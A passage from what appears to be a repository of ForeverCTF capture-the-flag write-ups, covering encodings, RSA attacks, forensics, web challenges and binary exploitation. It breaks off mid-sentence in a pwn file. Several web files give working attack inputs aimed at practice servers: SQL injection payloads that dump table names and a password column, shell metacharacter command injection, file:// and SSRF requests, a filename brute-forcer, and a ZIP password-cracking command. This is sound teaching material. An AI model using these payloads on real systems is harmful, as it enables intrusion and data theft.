├── crypto-hex.md ├── crypto-binary.md ├── networking-exporting-HTTP-objects.md ├── crypto-diffie-hellman.md ├── misc-map.md ├── forensics-pdf-censorship.md ├── reversing-strings.md ├── crypto-book-cipher.md ├── crypto-base64.md ├── crypto-caesar-cipher.md ├── pwn-underflow.md ├── web-command-injection.md ├── web-lfi.md ├── web-sqli-easy.md ├── forensics-deleted-file.md ├── web-access-control.md ├── forensics-file-signature.md ├── forensics-zip-cracking.md ├── forensics-exif-data.md ├── web-ssrf.md ├── misc-nested-zip.md ├── web-cookies.md ├── web-sqli.md ├── forensics-steganography.md ├── misc-zero-width-characters.md ├── crypto-intro-to-rsa.md ├── reversing-gdb.md ├── crypto-bad-params.md ├── web-read-src-code.md ├── crypto-one-time-pad.md ├── misc-scripting.md ├── web-bruteforce.md ├── crypto-wieners-attack.md ├── pwn-params.md ├── reversing-xor.md ├── web-xss.md ├── pwn-shelly-sells-shells.md ├── crypto-broadcast-attack.md ├── crypto-stream-cipher.md ├── crypto-hashing.md ├── pwn-overflow.md ├── crypto-aes-ecb.md ├── reversing-angry.md ├── pwn-rop.md ├── pwn-tricky-indices.md ├── pwn-ret2libc.md ├── pwn-canary-in-a-coal-mine.md ├── pwn-srop.md ├── pwn-printf-leak.md ├── pwn-get-my-got.md ├── pwn-printf-got.md └── pwn-jump.md /crypto-hex.md: -------------------------------------------------------------------------------- 1 | # DEADBEEF 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Crypto 4 | * **Point Value / Difficulty:** Easy 5 | * **(Optional) Tools Required / Used:** 6 | 7 | ## Steps 8 | #### Step 1 9 | The flag is encoded in hexadecimal, a base 16 number system that's commonly used in computer science. We can use an online decoder like [this](https://www.rapidtables.com/convert/number/hex-to-ascii.html) to recover the flag. 10 | -------------------------------------------------------------------------------- /crypto-binary.md: -------------------------------------------------------------------------------- 1 | # Zeros and Ones 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Crypto 4 | * **Point Value / Difficulty:** Easy 5 | * **(Optional) Tools Required / Used:** 6 | 7 | ## Steps 8 | #### Step 1 9 | The flag is encoded in binary, since the ciphertext is only using 1s and 0s in groups of 8 (one for each character). We can use an online decoder like [this](https://www.rapidtables.com/convert/number/binary-to-ascii.html) to recover the flag. 10 | -------------------------------------------------------------------------------- /networking-exporting-HTTP-objects.md: -------------------------------------------------------------------------------- 1 | # HTTP Objects 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Networking 4 | * **Point Value / Difficulty:** Medium 5 | * **(Optional) Tools Used:** Wireshark 6 | 7 | 8 | ## Steps 9 | #### Step 1 10 | Open the file in Wireshark. 11 | 12 | #### Step 2 13 | Observe that there is HTTP data. Isolate it with the filter display `http`. 14 | 15 | #### Step 3 16 | Notice that there is a GET request for `/flag.jpeg`. File > Export Objects > HTTP. Select `flag.jpeg`, save the image, and open it in an image viewer. 17 | 18 | The flag should be present in the image. 19 | -------------------------------------------------------------------------------- /crypto-diffie-hellman.md: -------------------------------------------------------------------------------- 1 | Since the prime is very small, we can simply brute force to find the secret values for Alice and Bob: 2 | 3 | ``` 4 | >>> def find_secret(base, pub, mod): 5 | ... priv = 0 6 | ... cur = 1 7 | ... while cur != pub: 8 | ... cur = cur * base % mod 9 | ... priv += 1 10 | ... return priv 11 | ... 12 | >>> a = find_secret(69, 2609, 3457) 13 | >>> b = find_secret(69, 1252, 3457) 14 | >>> print(a,b) 15 | 191 7 16 | ``` 17 | 18 | Alice’s secret is 191, while Bob’s is 7. Their secret can be computed in multiple ways: g^(ab), A^b, and B^a are all equivalent. 19 | 20 | -------------------------------------------------------------------------------- /misc-map.md: -------------------------------------------------------------------------------- 1 | # Uncharted 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Misc 4 | * **Point Value / Difficulty:** Medium 5 | * **(Optional) Tools Required / Used:** 6 | 7 | ## Steps 8 | #### Step 1 9 | The numbers in the file are `latitude, longitude` coordinates, where each of the different sections of coordinates corresponds to a letter in the flag. 10 | 11 | #### Step 2 12 | You can use a tool like [this](https://www.mapcustomizer.com/#) or [this](https://gpspointplotter.com/) to plot out the points. When you connect them, you should be able to read out the inside of the flag: 13 | 14 | ![](plot.png) 15 | 16 | -------------------------------------------------------------------------------- /forensics-pdf-censorship.md: -------------------------------------------------------------------------------- 1 | # Redacted 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Forensics 4 | * **Point Value / Difficulty:** Easy 5 | * **(Optional) Tools Required / Used:** 6 | 7 | ## Steps 8 | #### Step 1 9 | In this problem, the flag is hidden in the blacked out sections. The thing is, whoever tried to hide the text did a bad job-- you are still able to highlight and find the text on the PDF. Using the hints (or if you've encountered this type of problem before), you should be able to figure out how to recover the text (using a tool like `pdftotext` or just highlighting everything in the PDF) and get the flag. 10 | -------------------------------------------------------------------------------- /reversing-strings.md: -------------------------------------------------------------------------------- 1 | # reversing-strings 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Crypto 4 | * **Point Value / Difficulty:** Easy 5 | * **(Optional) Tools Required / Used:** GNU strings 6 | 7 | ## Background 8 | All data in an exectuable format is binary. Most of this data is unreadable to humans, however, GNU strings will filter through any binary file and attempt to view the binary data as ASCII characters. Sometimes, developers hardcode secrets that can be abused later on. 9 | ## Steps 10 | #### Step 1 11 | Log into a linux box and download the challenge. 12 | 13 | #### Step 2 14 | Run strings on the binary like so: `strings reversing-strings` and the flag should pop out. -------------------------------------------------------------------------------- /crypto-book-cipher.md: -------------------------------------------------------------------------------- 1 | # Bookworm 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Crypto 4 | * **Point Value / Difficulty:** Easy 5 | * **(Optional) Tools Required / Used:** 6 | 7 | ## Steps​ 8 | #### Step 1 9 | Based on the challenge prompt, you should figure out that you need to use the book linked in the prompt to help you decipher the message. 10 | 11 | #### Step 2 12 | This is a [book cipher](https://en.wikipedia.org/wiki/Book_cipher). The `CHA:PAR:LIN:WOR` refers to how you recover the words for the flag from the numbers - Chapter, Paragraph, Line, Word. If you calculate that out you get: 13 | ``` 14 | C P L W 15 | 30:01:10:01 reading 16 | 39:08:02:07 is 17 | 51:08:05:07 fun 18 | ``` 19 | -------------------------------------------------------------------------------- /crypto-base64.md: -------------------------------------------------------------------------------- 1 | # All Your Base Are Belong To Us 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Crypto 4 | * **Point Value / Difficulty:** Easy 5 | * **(Optional) Tools Required / Used:** 6 | 7 | ## Steps 8 | #### Step 1 9 | If you look into ciphers/encoding schemes that use `=`s at the end (or if you follow the information from the hints), you should find [Base64](https://en.wikipedia.org/wiki/Base64), an encoding scheme that uses 64 characters to represent data, and usually pads the end of the encoded data with one or two `=`s. 10 | 11 | #### Step 2 12 | You can use an online decoder like [this](https://www.base64decode.org/) or the terminal command `echo dXRmbGFne2NvdmVyZWRfYWxsXzY0X2Jhc2VzfQo= | base64 -d` (send the encoded string to the `base64` program in decode mode) to recover the flag. 13 | -------------------------------------------------------------------------------- /crypto-caesar-cipher.md: -------------------------------------------------------------------------------- 1 | # All Greek To Me 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Crypto 4 | * **Point Value / Difficulty:** Easy 5 | * **(Optional) Tools Required / Used:** 6 | 7 | ## Steps 8 | #### Step 1 9 | The flag is encoded with a [Caesar cipher](https://en.wikipedia.org/wiki/Caesar_cipher), a [substitution cipher](https://en.wikipedia.org/wiki/Substitution_cipher) that replaces each letter with another letter that is `x` places further down in the alphabet, where we call `x` the shift. 10 | 11 | #### Step 2 12 | Since there are only 26 possible unique shifts, and 1 is no shift which renders it basically useless, there are only 25 viable shifts. You can try each of these shifts out manually, or you can use an online tool like [this](https://cryptii.com/pipes/caesar-cipher) to recover the flag. 13 | -------------------------------------------------------------------------------- /pwn-underflow.md: -------------------------------------------------------------------------------- 1 | # Doge 2 | # Binary Exploitation: Easy 3 | 4 | Using static analysis tools such as radare2 or Ghidra and reading through the 5 | assembly or decompiled source code, we can see that when the user requests the 6 | "doge" item, their balance is not checked for an integer underflow. 7 | 8 | https://en.wikipedia.org/wiki/Arithmetic_underflow 9 | 10 | What this means is that when we subtract 3 (the cost of the item) from the 11 | user's balance, their balance will "wrap around" close to the largest possible 12 | value that an integer can take on. So we can keep purchasing the doge item 13 | until the balance becomes less than 3, then purchase the item again to get a 14 | crazy large balance. 15 | 16 | Finally, we have enough bityen to purchase the win, so we get a shell and 17 | ```cat flag.txt```. -------------------------------------------------------------------------------- /web-command-injection.md: -------------------------------------------------------------------------------- 1 | # Web: Command Injection 2 | 3 | ## Prompt 4 | Are you too lazy to ping websites? 5 | Then just use this convenient cloud service to ping sites for you! 6 | 7 | `http://forever.isss.io:4222` 8 | 9 | _by mattyp_ 10 | 11 | (attach app.py) 12 | 13 | ## Hint 14 | Based on the output or the source code, you might recognize that this webapp is 15 | running the command line utility `ping`. In the source code, you can see that the 16 | variable `command` is formed by directly concatenating user input with the ping 17 | command. Thus, you can use different command line metacharacters to run other 18 | commands. For instance, you could exploit the `;` metacharacter by entering this: 19 | `google.com; echo hello` 20 | 21 | The flag is stored at `/flag.txt`. You just need to figure out how to read the file 22 | by injecting a command! 23 | -------------------------------------------------------------------------------- /web-lfi.md: -------------------------------------------------------------------------------- 1 | # Web: Local File Inclusion 2 | In this challenge, the website appears to request any URL that you give it, and return the result. 3 | Using this, you can use a file:// URL to recover the flag at /flag.txt. 4 | 5 | ## Prompt 6 | I'm usually too lazy to fetch my own URLs, so I made this cool webapp to do it for me. 7 | My flag is stored locally on my computer, so you shouldn't be able to find it. 8 | In fact I'm so sure that you can't find it, that I'll tell you the filepath: `/flag.txt` 9 | 10 | `http://forever.isss.io:4224` 11 | 12 | _by mattyp_ 13 | 14 | ## Hint 15 | Many times webapps will accidentally include functionality that lets you 16 | view the content of local files, such as secret keys or sensitive data. 17 | 18 | In this case, the webapp allows you to request any URL you want. However, 19 | websites aren't the only thing you can put in a URL... 20 | -------------------------------------------------------------------------------- /web-sqli-easy.md: -------------------------------------------------------------------------------- 1 | # Web: Baby SQLi 2 | Difficulty: Easy 3 | 4 | This challenge is identical to the regular SQLi challenge, except you are given the table and column names from the start. 5 | 6 | In order to leak the password, we can perform a simple SQL injection attack. 7 | 8 | https://portswigger.net/web-security/sql-injection 9 | 10 | Using the information given from the description, we can guess that the SQL command looks something like: 11 | 12 | ``` 13 | SELECT username FROM users WHERE email = '____________' 14 | ``` 15 | 16 | If we input an email of: 17 | ``` 18 | ' OR 1=1 UNION select password from users-- 19 | ``` 20 | 21 | Then the SQL command looks like: 22 | ``` 23 | SELECT username FROM users WHERE email = '' OR 1=1 UNION select password from users-- 24 | 25 | ``` 26 | 27 | Which matches every user and gets you the password, attached onto the original query. 28 | -------------------------------------------------------------------------------- /forensics-deleted-file.md: -------------------------------------------------------------------------------- 1 | # Dr. Doom's Devious Deletion Dilemma 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Forensics 4 | * **Point Value / Difficulty:** Medium 5 | 6 | ## Walkthrough 7 | "Deleting" a file doesn't always get rid of it in a manner that is permanent. In this case, it simply moved the file to the Trash folder. 8 | #### Step 1 9 | You'll want to unzip the disk image and then mount it so you can look around the file contents. To mount, you can do 10 | `> mkdir mntpnt` 11 | `> sudo mount disk.img mntpnt` 12 | 13 | #### Step 2 14 | Now you can explore Dr. Doom's home directory. The Trash folder is located in `.local/share/Trash` (which you can either look up or stumble upon accidentally after wandering around aimlessly for a while). 15 | Travel to that directory and you will find just one file in the Trash folder, `flag`, and from there you can simply run `cat flag`. 16 | -------------------------------------------------------------------------------- /web-access-control.md: -------------------------------------------------------------------------------- 1 | # WEB: Access Control 2 | In this problem, the website has a page to create and login into 3 | accounts. The purpose is to show how if pages aren't properly secured, 4 | any user can access other account's pages without proper authentication. 5 | When an account is logged in, look at the URL. The page is /account/pages/{username}{id}. 6 | The id increments for each account created and initially started at 2. The idea here is 7 | figuring out the full URL for the admin's home page as there is no actual authentication 8 | for going to other accounts' home page. 9 | This will lead to the users accessing the admin's account and getting 10 | the flag. 11 | 12 | # PROMPT 13 | I only trust code that I wrote, so I completely implemented my own authentication for my new website! 14 | Try to break in if you can! 15 | 16 | `http://forever.isss.io:1234` 17 | 18 | _by danny @danny_ -------------------------------------------------------------------------------- /forensics-file-signature.md: -------------------------------------------------------------------------------- 1 | # Magic 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Forensics 4 | * **Point Value / Difficulty:** Medium 5 | * **(Optional) Tools Required / Used:** 6 | ​ 7 | ## Steps​ 8 | #### Step 1 9 | If you try to open up this image, you won't be able to because the file is corrupted. If you use a tool like `xxd`, you will see that something is wrong with bytes of the [file signature](https://en.wikipedia.org/wiki/List_of_file_signatures) -- they're all 0s instead of what they should be for a PNG: `89 50 4E 47`. Since computers use these file signatures to determine what to do with a file, the computer has no idea what to do in this situation since all 0s isn't the beginning of a valid filetype (at least an image filetype). 10 | 11 | #### Step 2 12 | If you edit the hex of the file (using something like [`bless`](https://github.com/afrantzis/bless)) and restore the first four bytes back to `89 50 4E 47`, you should be able to open the file again and see the flag. 13 | -------------------------------------------------------------------------------- /forensics-zip-cracking.md: -------------------------------------------------------------------------------- 1 | # Zipped 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Forensics 4 | * **Point Value / Difficulty:** Medium 5 | * **(Optional) Tools Required / Used:** `fcrackzip`, `hashcat` or John the Ripper 6 | 7 | 8 | ## Steps 9 | #### Step 1 10 | The goal of this challenge is to get the password and open the archive, which can be done with programs like [`fcrackzip`](https://github.com/hyc/fcrackzip), [`hashcat`](https://hashcat.net/hashcat/), or [John the Ripper](https://www.openwall.com/john/) and a [nice password list](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials). Personally, I like `fcrackzip` since the command is (relatively) straightforward: `fcrackzip -v -D -u -p secret.zip`. 11 | 12 | #### Step 2 13 | Using your preferred method of ZIP password cracking, you can determine that the password was `cookie`. If you type this in and open the ZIP archive, you can see the flag in one of the contained images. 14 | -------------------------------------------------------------------------------- /forensics-exif-data.md: -------------------------------------------------------------------------------- 1 | # Met A Data 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Forensics 4 | * **Point Value / Difficulty:** Easy 5 | * **(Optional) Tools Required / Used:** 6 | 7 | ## Steps​ 8 | #### Step 1 9 | Between the title and the hints for the problem, you should be able to find out that the flag is somewhere in the [metadata](https://en.wikipedia.org/wiki/Metadata) of the file. JPEGs specifically have something called EXIF metadata that often includes things like when the photo was taken, sometimes information about the camera, etc., etc. It also can include comments, which in this case is where the flag is hidden. 10 | 11 | #### Step 2 12 | You can look at the properties of the file in a file explorer to see the EXIF metadata, but you can also use a tool like [this one](https://www.exifdata.com/) to see it on any operating system. Another way you could find the flag is by using the terminal command `strings`, which will look for any strings in any type of file (which in this case would include the flag). Any of these methods should lead you to the flag. 13 | -------------------------------------------------------------------------------- /web-ssrf.md: -------------------------------------------------------------------------------- 1 | # Web: Server-Side Request Forgery 2 | In this challenge, you are initially pointed to the resource `/flag`, 3 | which appears to be unavailable to computers outside the server's 4 | network. However, the denial page sends you to a "resource getter", in 5 | which the server will fetch resources for you. In this case, you can get 6 | the server to fetch the page on your behalf and reveal the flag. 7 | For example, the payload "http://forever.isss.io:4225/flag" should work. 8 | 9 | ## Prompt 10 | I found this URL where the flag is supposed to be, but it looks it can't 11 | be accessed remotely! Maybe only computers on the server's network can 12 | access the page... 13 | 14 | `http://forever.isss.io:4225/flag` 15 | 16 | _by mattyp_ 17 | 18 | ## Hint 19 | Often times, server resources such as admin pages, databases, and 20 | metadata services are not available remotely, meaning you must be on 21 | the server's network to interact with them. However, if there was some 22 | way to get the server to request those resources, you might be able to 23 | access them... 24 | 25 | -------------------------------------------------------------------------------- /misc-nested-zip.md: -------------------------------------------------------------------------------- 1 | # Zip Scripting 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Misc 4 | * **Difficulty:** Medium 5 | * **(Optional) Tools Required / Used:** Python 6 | 7 | ## Solution 8 | This is just a lot of nested ZIP files. Use a script to open them up. There's an example script: 9 | ```python 10 | import os 11 | from zipfile import ZipFile 12 | 13 | ZIP_NAME = 'flag.zip' 14 | TMP_ZIP_NAME = 'tmp_' + ZIP_NAME 15 | 16 | done = False 17 | 18 | while not done: 19 | # rename to a temporary file 20 | # extraction will result in creating a file of the same name 21 | # (this is an assumption, but it holds true for this problem) 22 | # (if the assumption were wrong, the script would fail after unzipping some number of layers) 23 | os.rename(ZIP_NAME, TMP_ZIP_NAME) 24 | with ZipFile(TMP_ZIP_NAME, 'r') as zp: 25 | zp.namelist() 26 | zp.extractall() 27 | 28 | # quit if there is more than one file in the archive 29 | # quite if the file in the archive is not the name we expect 30 | if len(zp.namelist()) != 1 or zp.namelist()[0] != ZIP_NAME: 31 | done = True 32 | os.remove(TMP_ZIP_NAME)``` 33 | -------------------------------------------------------------------------------- /web-cookies.md: -------------------------------------------------------------------------------- 1 | # Web: Cookies 2 | In this problem the website serves an access denied page. 3 | The theme is supposed to inspire checking the site's cookies, which reveals a 4 | cookie `isCookieMonster` that is set to false. Modifying the cookie to be true 5 | opens the jar and reveals the flag. 6 | 7 | ## Prompt 8 | I'm trying to open this jar of cookies, but the website doesn't recognize me. 9 | Can you open the jar for me and inspect the cookies? 10 | 11 | `http://forever.isss.io:4222` 12 | 13 | _by mattyp_ 14 | 15 | ## Hint 16 | Websites recognize its users through the use of "cookies". Cookies are just 17 | an HTTP header that your browser will repeatedly send if a website sets. Cookies 18 | are often used for authentication because they persist when you vist many different 19 | pages on a website. You can check what cookies by opening developer tools in your 20 | browser (usually with F12 or by right-clicking and selecting "inspect element"), then 21 | looking in the "Storage" tab. Safari is a literally different, but in Chrome and 22 | Firefox, you can then modify your cookies to be whatever value you want. 23 | -------------------------------------------------------------------------------- /web-sqli.md: -------------------------------------------------------------------------------- 1 | # Web: SQLi 2 | Difficulty: Medium/Advanced 3 | 4 | In this challenge, you're given a simple user lookup system, where you can input an email and get back a list of usernames. 5 | You are told that the database is using Postgres and that the website admin made creative table and column names. 6 | 7 | This endpoint is vulnerable to SQL injection. You can get the table names using the following injection (note there must be a space following the -- (is not neccesary for this new command) ): 8 | 9 | ``` 10 | ' UNION SELECT table_name FROM information_schema.tables WHERE table_schema='public' AND table_type='BASE TABLE'-- 11 | ``` 12 | 13 | The table name is secret_users_table_sfd33. 14 | 15 | You can get the column names using the following query: 16 | 17 | ``` 18 | ' UNION SELECT column_name from information_schema.columns WHERE table_name = 'secret_users_table_sfd33'-- 19 | ``` 20 | 21 | The columns are: ['computername', 'id', 'email', 'passfrase'] 22 | 23 | We are probably interested in the "passfrase". 24 | 25 | ``` 26 | ' UNION SELECT passfrase FROM secret_users_table_sfd33-- 27 | ``` 28 | 29 | This gets us the flag. 30 | -------------------------------------------------------------------------------- /forensics-steganography.md: -------------------------------------------------------------------------------- 1 | # Not Very Significant Message 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Forensics 4 | * **Point Value / Difficulty:** Easy 5 | * **(Optional) Tools Required / Used:** an LSB Steganography solver ([this one](https://stylesuxx.github.io/steganography/) in particular should do the trick) 6 | 7 | ## Explanation 8 | Stegonagraphy is the practice of hiding messages by embedding them within another message or an object (like an image). There are many different techniques for doing this, but one popular is [Least Signifcant Bit steganography](https://www.boiteaklou.fr/Steganography-Least-Significant-Bit.html). This technique changes the least significant bit in the bytes that describe RBG color values for a pixel in an image. There are several online steganography tools that you can use, such as [this one](https://stylesuxx.github.io/steganography/). The thing to keep in mind is that steganography implementations differ even within a particular technique, so not ever steganography tool will work to decipher an image with a hidden message. If you're feeling up to it, you could always write your own implementation of an LSB tool! 9 | -------------------------------------------------------------------------------- /misc-zero-width-characters.md: -------------------------------------------------------------------------------- 1 | # Nothing In Between 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Misc 4 | * **Point Value / Difficulty:** Medium 5 | * **(Optional) Tools Required / Used:** 6 | 7 | ## Steps​ 8 | #### Step 1 9 | If you try to copy the flag and submit it, it won't work. But, if you copy the flag into something like `vim` (or [this tool](http://unicode.scarfboy.com/), or [this tool](https://cryptii.com/pipes/unicode-lookup) or read the hint :) ) you will see that there are extra characters in there: 10 | 11 | ![](zwc.png) 12 | 13 | #### Step 2 14 | Those characters are [zero width characters](https://en.wikipedia.org/wiki/Zero-width_space) that cannot be seen when printed. You can see that there are two of them that are alternating: 200B (zero width space) and 200C (zero width non-joiner). If you replace all the 200B characters with 0 and the 200C characters with 1, the hidden text will now look a lot like binary that's representing ASCII characters. 15 | 16 | #### Step 3 17 | 18 | When you convert the binary to ASCII ([this tool is nice for that](https://www.rapidtables.com/convert/number/binary-to-ascii.html)), you should get the *real* flag. 19 | -------------------------------------------------------------------------------- /crypto-intro-to-rsa.md: -------------------------------------------------------------------------------- 1 | This challenge involves simply calculating what is requested by the netcat using various modular arithmetic operations. Obviously, there are a ton of ways to do this - use whatever tools you prefer! 2 | 3 | 4 | For me, I used a python shell and the crypto library. Obviously, your specific values will be different since it generates new values every time, but here’s an example of what I did: 5 | ``` 6 | >>> p = 180039729219889518763401376769218399333 7 | >>> q = 184714024085145129092775960597319977259 8 | >>> N = p*q 9 | >>> print(N) 10 | 33255862879405679832467293495096808739983550585715098578061259860791940768247 11 | 12 | >>> e = 65537 13 | >>> pow(100, e, N) 14 | 14789535486896253816228897823278862615422875129523355217474988764221662919513 15 | 16 | >>> from Crypto.Util.number import inverse 17 | >>> tot = (p-1)*(q-1) 18 | >>> d = inverse(e, tot) 19 | >>> print(d) 20 | 1209728506103470417025527987126520775062197104665541486635166649920596904065 21 | 22 | >>> from Crypto.Util.number import long_to_bytes 23 | >>> c = 2188209470549364153417089961345946636046212970760621347054084263017092649489 24 | >>> m = pow(c, d, N) 25 | >>> long_to_bytes(m) 26 | ``` 27 | -------------------------------------------------------------------------------- /reversing-gdb.md: -------------------------------------------------------------------------------- 1 | # reversing-gdb 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Crypto 4 | * **Point Value / Difficulty:** Easy 5 | * **(Optional) Tools Required / Used:** pwndbg 6 | 7 | ## Steps 8 | #### Step 1 9 | Log into a linux box and download the challenge. 10 | 11 | #### Step 2 12 | Open the program in gdb: `gdb gdb` 13 | #### Step 3 14 | To see actually readable syntax instead of AT&T (which is really annoying and counterintuitive imo) type this: `set disassembly-flavor intel` 15 | #### Step 4 16 | Disassemble the main function: `disas main` 17 | #### Step 5 18 | Scroll down to the part where you see a call to `strlen` followed by a `cmp` instruction and `strncmp` (@addresses main+378, main+576) 19 | #### Step 6 20 | Set a breakpoint: `break *main+378`. Run the program and look at the value in rax. (0x25). This tells us that we need to input a 36 character string to get by the length check (off by one because of the add instruction before cmp) 21 | 22 | #### Step 7 23 | Run pwndbg again, but set a breakpoint at `break *main+576`. type out a 36 character string to get past the length check. 24 | The breakpoint should trigger and yield you the flag. 25 | -------------------------------------------------------------------------------- /crypto-bad-params.md: -------------------------------------------------------------------------------- 1 | RSA 1 2 | Notice that N is even - meaning one of its prime factors is 2. We can easily factor it now, and decrypt using p and q. 3 | N = 2 * 899234127686216066475847371527704806792959 4 | d = 432925449696438490157406293642402643757441 5 | m = 2382264088973868856481155093851743 6 | Converting m into ASCII gives the first third of the flag. 7 | 8 | RSA 2 9 | N is large, but can be easily factored due to the number of factors. However, since N has more than 2 factors, we can’t just use tot = (p-1)(q-1). Instead, we have to look to the actual definition of totient. For this, tot is the product of all the primes - 1; that is, tot = (p-1)(q-1)(r-1)(s-1)... for all the primes p,q,r,s, etc. 10 | N = 13151 * 24923 * 32693 * 54493 * 66463 * 76847 * 89069 * 94421 11 | d = 55022358724825176559666148873 12 | m = 4154029144898865444001855993137 13 | Converting m into ASCII gives the middle third of the flag. 14 | 15 | RSA 3 16 | N is actually too large to actually affect the ciphertext, meaning c directly equals m^3. We can just take the cube root of c to get m. 17 | m = 7108989 18 | Converting m into ASCII gives the last part of the flag. 19 | 20 | Stringing the results together yields the flag. 21 | -------------------------------------------------------------------------------- /web-read-src-code.md: -------------------------------------------------------------------------------- 1 | # Start at the Source 2 | * Difficulty: Easy 3 | * Problem Type: Web 4 | * Tools Needed: Browser Developer Tools 5 | ## Explanation 6 | When you visit a website, there's a lot more going on behind the scenes than what you see on your screen. One tool to help you see that is the Developer Tools (or on Safari, it's the [Web Inspector](https://www.idownloadblog.com/2019/06/21/how-to-use-safari-web-inspector-ios-mac/) because Apple has to be different). You can look up [how to access them on your specific browser](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools) since it can vary. Once you've got it up, though, you'll be able to see (among many other things) the source code for the web page (you may need to click around on the tabs to find it; the tab you're looking for will vary based on the browser you're using, but you're looking for something along the lines of "Sources", "Inspector", or "Elements". While you're looking around, I encourage you to check out the other tabs, too, and find out what they do. Maybe you'll need them for a future CTF problem!). Once you can see the source code, you can either manually look around or `ctrl+F` to look for a specific phrase (like "utflag"). 7 | -------------------------------------------------------------------------------- /crypto-one-time-pad.md: -------------------------------------------------------------------------------- 1 | # OTP 2 | * **Event:** ForeverCTF 3 | * **Problem Type:** Crypto 4 | * **Point Value / Difficulty:** Medium 5 | * **(Optional) Tools Required / Used:** 6 | ​ 7 | ## Steps​ 8 | #### Step 1 9 | From the prompt and problem title, you should hopefully figure out that this problem is exploiting key reuse in a [One Time Pad](https://en.wikipedia.org/wiki/One-time_pad) scheme. As the name of the scheme suggests, pads/keys should only be used once or else you can recover the key, for reasons demonstrated in [this article](https://samwho.dev/blog/toying-with-cryptography-crib-dragging/). 10 | 11 | #### Step 2 12 | You can then use an online tool like [this](https://toolbox.lotusfa.com/crib_drag/) (or any other crib dragging tool) to guess for words in the plaintexts. Since the prompt mentions that they are arguing about ice cream flavors, you can eventually guess common related words/phrases that lead to these two plaintext messages: 13 | 14 | ``` 15 | THE BEST ICE CREAM FLAVOR IS MINT CHOCOLATE 16 | NO THE BEST ICE CREAM FLAVOR IS STRAWBERRY! 17 | ``` 18 | 19 | #### Step 3 20 | From there, you can get the key (which is the flag) by XORing the plaintext with the correct ciphertext (you might have to do a little trial and error here). Then you can get the key (and the flag). 21 | -------------------------------------------------------------------------------- /misc-scripting.md: -------------------------------------------------------------------------------- 1 | To solve this problem we need to be able to read and write to a connection and some scripting. We can use [pwntools](https://docs.pwntools.com/en/stable/intro.html) to read and to write to a connection. 2 | 3 | 4 | from pwn import * 5 | # create remote connection to problem 6 | conn = remote("forever.isss.io",3003) 7 | 8 | The pwntool function `recvline` allows us to read a single line from the connection. The recvline function returns a byte string. To skip the first line of instructions we can just call recvline and do nothing with the results 9 | 10 | conn.recvline() 11 | 12 | To parse the number of required glasses we can split the next read line into chunks split by spaces. 13 | 14 | chunks = conn.recvline().split(b" ") 15 | no_glasses = int(chunk[3]) 16 | 17 | Then we can read the next two line and discard them so we can send text. 18 | 19 | for _ in range(2): 20 | conn.recvline() 21 | 22 | We can then use the `send` function to interact with a remote connection and send the required number of lines. 23 | 24 | for _ in range(no_glasses): 25 | conn.send("1\n") 26 | #discard the tree grew line 27 | conn.recvline() 28 | 29 | Once we've sent the required number of glasses we can print the flag. 30 | 31 | print(conn.recvline()) 32 | -------------------------------------------------------------------------------- /web-bruteforce.md: -------------------------------------------------------------------------------- 1 | # Brute Force 2 | # Web: Easy/Medium 3 | 4 | Based on the regex formatting, the unknown part of the flag contains 4 5 | characters: a letter from a to m, followed by one of "aqc", followed by one of 6 | "zm", followed by a digit. 7 | 8 | Calculating the number of possibilities, we have 14 * 3 * 2 * 10 = 840 possible 9 | filenames, which is a very small number, so we can simply brute force all 10 | possible filenames until we reach one that does not return a 404. 11 | 12 | Here, you may use whatever language or tool you want, but I like to open up the 13 | browser devtools and write a JavaScript right on the page. Here's my solution 14 | code; it's not the fastest (since we are only waiting on one request at a time) 15 | but it's fast enough for this use case. 16 | 17 | ```javascript 18 | async function tryFilename(filename) { 19 | const resp = await fetch(location.origin + "/" + filename); 20 | return resp.ok; 21 | } 22 | 23 | for(let a of "abcdefghijklm".split('')) { 24 | for(let b of "aqc".split('')) { 25 | for(let c of "zm".split('')) { 26 | for(let d of "1234567890".split('')) { 27 | const filename = "flag" + a + b + c + d + ".txt"; 28 | if(await tryFilename("flag" + a + b + c + d + ".txt")) { 29 | alert("found filename: " + filename); 30 | } 31 | } 32 | } 33 | } 34 | } 35 | 36 | ``` -------------------------------------------------------------------------------- /crypto-wieners-attack.md: -------------------------------------------------------------------------------- 1 | There’s a ton of resources about how Wiener’s Attack works if you’re interested in that, but for most CTFs you won’t be required to know the math details by heart. However, knowing when Wiener’s attack is applicable is a must. 2 | 3 | In this problem, e is not one of the standard choices (3, 65537, etc.), which hints at the fact that d was chosen first (to ensure it is small and coprime with totient) and e was calculated after, instead of the other way around. 4 | 5 | I used the python library owiener, which is just an existing implementation of Wiener’s Attack that takes e and n to try and find d. Using it on this problem gives us d, which we can just use to decrypt. 6 | 7 | ``` 8 | >>> from Crypto.Util.number import long_to_bytes 9 | >>> import owiener 10 | >>> n = 7905286789307969689444446776834572488342512871216373118384351052597353752148252310391459022650178558362015804623969796116224090070495774849456791367306113 11 | >>> e = 7643051815477072240601011354205548264016458535771900604241689972774556751107899980617931557990173091671691627792054236018529523960796319660703000489116673 12 | >>> c = 132621323207928347135772813311861732966074971533922909954361816541744489303464435189913426388248693256452873362487042859679296755153038110489878189377547 13 | >>> owiener.attack(e, n) 14 | 65537 15 | >>> m = pow(c, 65537, n) 16 | >>> long_to_bytes(m) 17 | ``` 18 | 19 | Note: for an attack that works on slightly larger (but still small) d’s, check out Boneh Durfee. 20 | -------------------------------------------------------------------------------- /pwn-params.md: -------------------------------------------------------------------------------- 1 | This problem is mostly about learning how function parameters are passed. You 2 | should already know how to get to `get_flag` from previous problems. Once you 3 | get to the function, 